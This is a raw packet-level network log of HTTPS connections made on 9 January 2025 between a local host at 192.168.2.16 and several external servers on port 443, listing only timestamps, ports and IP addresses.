Jan 9, 2025 13:19:27.661125898 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.661134005 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.670321941 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.670329094 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.670355082 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.670383930 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.670392990 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.670414925 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.679498911 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.679508924 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.679713964 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.679723024 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.687787056 CET	443	49830	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.687803984 CET	443	49830	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.687860966 CET	443	49830	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.687875986 CET	49830	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.687911034 CET	49830	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.688426971 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.688438892 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.688498020 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.688505888 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.688868046 CET	49830	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.688878059 CET	443	49830	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.689527035 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.689585924 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.689640999 CET	49826	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.689657927 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.690418005 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.690462112 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.690491915 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.690494061 CET	49826	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.690563917 CET	49828	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.690571070 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.690871954 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.690917015 CET	49828	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.691308022 CET	49826	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.691327095 CET	443	49826	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.693509102 CET	49828	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.693512917 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.693522930 CET	49828	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.693567991 CET	49828	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.693973064 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.694014072 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.694020033 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.694071054 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.694106102 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.694513083 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.694566011 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.696297884 CET	49839	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.696335077 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.696396112 CET	49839	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.696892023 CET	49840	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.696913958 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.696984053 CET	49840	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.697710991 CET	49839	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.697722912 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.697951078 CET	49840	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.697961092 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.699140072 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.699166059 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.699179888 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.699217081 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.699949026 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.699981928 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.700041056 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.700050116 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.701167107 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.701175928 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.701231956 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.701514006 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.701523066 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.703187943 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.703234911 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.703310966 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.703491926 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.703509092 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.708204985 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.708213091 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.708271980 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.708282948 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.716367960 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.716377020 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.716439962 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.716461897 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.726927042 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.726933956 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.726988077 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.726998091 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.727025986 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.737145901 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.737154961 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.737211943 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.737221003 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.753145933 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.753154993 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.753216028 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.753222942 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.754031897 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.754039049 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.754065990 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.754095078 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.754101992 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.754121065 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.754125118 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.754165888 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.754311085 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:27.754314899 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:27.766316891 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:27.766364098 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:27.766429901 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:27.766680956 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:27.766697884 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:27.774888992 CET	443	49831	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.774944067 CET	443	49831	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.775019884 CET	49831	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.775927067 CET	49831	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.775942087 CET	443	49831	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.778455019 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.778470993 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.778543949 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.779218912 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.779228926 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.781780958 CET	49847	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.781788111 CET	443	49847	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.781837940 CET	49847	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.782007933 CET	49847	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.782016993 CET	443	49847	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.819911003 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:27.820221901 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:27.820241928 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:27.821249008 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:27.821326017 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:27.821634054 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:27.821696043 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:27.821791887 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:27.821800947 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:27.867600918 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:27.904154062 CET	443	49832	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.904249907 CET	443	49832	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.904325008 CET	49832	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.905051947 CET	49832	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.905065060 CET	443	49832	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.908639908 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.908675909 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.908761024 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.909677029 CET	49848	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.909689903 CET	443	49848	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.916851997 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:27.916884899 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:27.916965008 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:27.917218924 CET	49849	443	192.168.2.16	77.88.21.119
Jan 9, 2025 13:19:27.917232037 CET	443	49849	77.88.21.119	192.168.2.16
Jan 9, 2025 13:19:27.960025072 CET	443	49835	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.961704016 CET	49835	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.961719990 CET	443	49835	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.962012053 CET	443	49835	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.962521076 CET	49835	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.962570906 CET	443	49835	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.962698936 CET	49835	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.003328085 CET	443	49835	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.024990082 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.025590897 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.025604963 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.026005030 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.026436090 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.026510954 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.026632071 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.028665066 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.028937101 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.028953075 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.029993057 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.030102968 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.030478001 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.030527115 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.030617952 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.030622959 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.067338943 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.069195986 CET	443	49838	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.069659948 CET	49838	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.069678068 CET	443	49838	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.070038080 CET	443	49838	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.070980072 CET	49838	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.071062088 CET	443	49838	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.071953058 CET	49838	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.073430061 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.074140072 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.091666937 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.091779947 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.091856956 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:28.091876984 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.091974020 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.092026949 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:28.092035055 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.097522020 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.097712994 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:28.097721100 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.097793102 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.097866058 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:28.097872019 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.103931904 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.104002953 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:28.104010105 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.110289097 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.110379934 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:28.110387087 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.115350008 CET	443	49838	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.120425940 CET	49838	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.151067019 CET	443	49837	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.151385069 CET	49837	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.151392937 CET	443	49837	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.151748896 CET	443	49837	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.152053118 CET	49837	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.152105093 CET	443	49837	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.152363062 CET	49837	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.152395010 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:28.178103924 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.178451061 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.178531885 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:28.178639889 CET	49833	443	192.168.2.16	142.250.186.164
Jan 9, 2025 13:19:28.178656101 CET	443	49833	142.250.186.164	192.168.2.16
Jan 9, 2025 13:19:28.199326038 CET	443	49837	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.313369036 CET	443	49835	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.313376904 CET	443	49835	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.313478947 CET	49835	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.313494921 CET	443	49835	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.314435959 CET	49835	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.314465046 CET	443	49835	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.314578056 CET	49835	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.316746950 CET	49850	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.316759109 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.316834927 CET	49850	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.317224026 CET	49850	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.317234039 CET	443	49850	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.398600101 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.399338007 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.399346113 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.400191069 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.400279999 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.401114941 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.401114941 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.401125908 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.401166916 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.451364040 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.451468945 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.451473951 CET	443	49842	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.451668024 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.451683044 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.453110933 CET	443	49838	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.453131914 CET	443	49838	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.453350067 CET	49838	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.453371048 CET	443	49838	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.453816891 CET	49838	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.453869104 CET	443	49838	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.453933954 CET	49838	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.454186916 CET	49851	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.454226017 CET	443	49851	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.454310894 CET	49851	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.454785109 CET	49851	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.454801083 CET	443	49851	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.455370903 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.455462933 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.455790997 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.455948114 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.455960035 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.455982924 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.469444990 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.470365047 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.470380068 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.471812963 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.472167969 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.472167969 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.472239017 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.472282887 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.495430946 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:28.495652914 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:28.495673895 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:28.496928930 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:28.497010946 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:28.497256041 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:28.497311115 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:28.497390032 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:28.497397900 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:28.498378038 CET	49843	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.498387098 CET	443	49843	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.498522043 CET	49842	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.500025034 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.500245094 CET	49839	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.500257969 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.501354933 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.501719952 CET	49839	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.501859903 CET	49839	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.501864910 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.501893044 CET	443	49839	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.507205009 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.507249117 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.507272959 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.507322073 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.507345915 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.507371902 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.507385969 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.507392883 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.507409096 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.507450104 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.507461071 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.508079052 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.508121967 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.508158922 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.508164883 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.508172035 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.508197069 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.508301973 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.508428097 CET	49836	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.508440018 CET	443	49836	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.508711100 CET	49852	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.508738995 CET	443	49852	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.508807898 CET	49852	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.509145021 CET	49852	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.509160995 CET	443	49852	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.510579109 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.511010885 CET	49840	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.511025906 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.511301994 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.511647940 CET	49840	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.511709929 CET	443	49840	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.511780024 CET	49840	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.514362097 CET	49845	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.514367104 CET	443	49845	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.516088009 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.516110897 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.516118050 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.516135931 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.516161919 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.516171932 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.516179085 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.516226053 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.516248941 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.517666101 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.517710924 CET	443	49834	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:28.517740965 CET	49834	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:28.517751932 CET	443	49834	89.46.108.67	192.168.2.16
